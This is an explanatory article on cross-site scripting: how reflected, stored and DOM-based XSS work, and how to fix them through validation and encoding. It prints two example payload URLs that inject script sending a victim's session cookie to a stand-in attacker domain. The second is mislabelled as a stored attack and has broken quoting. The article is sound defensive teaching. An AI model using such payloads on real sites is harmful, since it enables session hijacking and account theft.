Why You need to Know about XSS
One of the most common types of Web Application vulnerability
threat is called XSS or Cross-site scripting. This attack targets the end user
instead of the Web Application using client-side web technologies, such as
JavaScript and HTML. Attacks are carried out by embedding malicious script to
client side scripting languages and can be associated with user action or every
time the page loads.
Using a web application as medium attackers can hijack
sessions display unwanted advertisements, steal account information, transfer/activate
malwares on the end users machine. Attackers are able to bypass security restrictions
and are able to execute malicious code behind victims firewall using vulnerable
Web Applications.
How you become vulnerable?
When vulnerable web applications take data from users and make it a
part of the web application presentation or client without required validation then the users of the application can be potential victims. If the data is not validated, it can be used to embed/run malicious code to
enable the attacker to perform session
hijack, steal account information, access browser history, access clipboard
content, control browser remotely, access intranet resources and applications.
Where do the vulnerabilities come from?
XSS Vulnerabilities can arise from lack of validation of user
input at the client side or server side or both.
Lack of validation on the client side can expose victims to DOM-Based XSS attacks. Using API access
through the DOM standard malicious script can be injected into a web page
without the data being sent to the server. Web application that use Java or
ActiveX to modify HTML based on the user input without sending the content to
the server are prone to DOM-Based XSS attacks if the input is not validated on
the client side.
A user can be induced to performing an action on the web
page which looks legitimate like clicking on a link. This action can help
replace/inject/append malicious JavaScript which is sent to the server. The
server then responds to the submission from the client considering it to be a
genuine request/submission. Confidential information may be revealed or other
harmful activities can be performed by the attacker by adding malicious code to
a genuine transaction. This attack method is called reflective XSS.
Attackers can store malicious code in database from where it
is available to be executed again and again. This stored XSS attack is more
dangerous as here the attacker does not have to make user do any suspicious web
action. For example if an application allows user to enter profile name which
is then displayed on a page for other users to access can be exploited by attackers
to attach malicious JavaScript if the username filed is not properly sanitized. So whenever a user clicks on the username to check it profile the malicious script gets executed.
Examples of flawed code:
This XSS JavaScript example is delivered to the user through clicking on a malicious link. The XSS request is initiated from the victim’s browser, sent to the vulnerable web application, and then reflected back to execute in the context of the user's session.
http://www.bigsafebank~~~/search.asp?q=<script>x=new Image;x.src = http://malicious-domain~~~/hijackedsession.php?session-cookie=+document.cookie ;</script>
This XSS Javascript example is inputted as part of the attacker’s user name. Here a fraudulent user exploits the fact that the web application stores each user name in a local database that fails to sanitize the name field, leaving it open to XSS attacks. When other users view the attacker’s profile page, the code executes in the context of their session.
http://www.bigsafebank.com/search.asp?q=<script>x=new Image;x.src = http://maliciousdomain~~~/hijackedsession.php?sessioncookie=”+document.cookie;</script>
How to Fix XSS Flaws
Malicious code is normally inserted as a part of GET or POST parameter. So all inputs from the have to be sanitized without fail. All input should be converted to single character encoding before parsing. VALIDATE all user inputs from browsers to Applications.
Before reflecting the data back to the user it has to be escaped, filtered after validation. Convert special characters like <, >,?, &, / and spaces to their respective URL or HTML encoded equivalents. URL encode all user input returned as part of URLs. HTML encode all user input returned as part of HTML.
Users should be allowed to disable client side scripts which may lead to loss of application functionalities but can prevent susceptible users to be exploited from malicious script.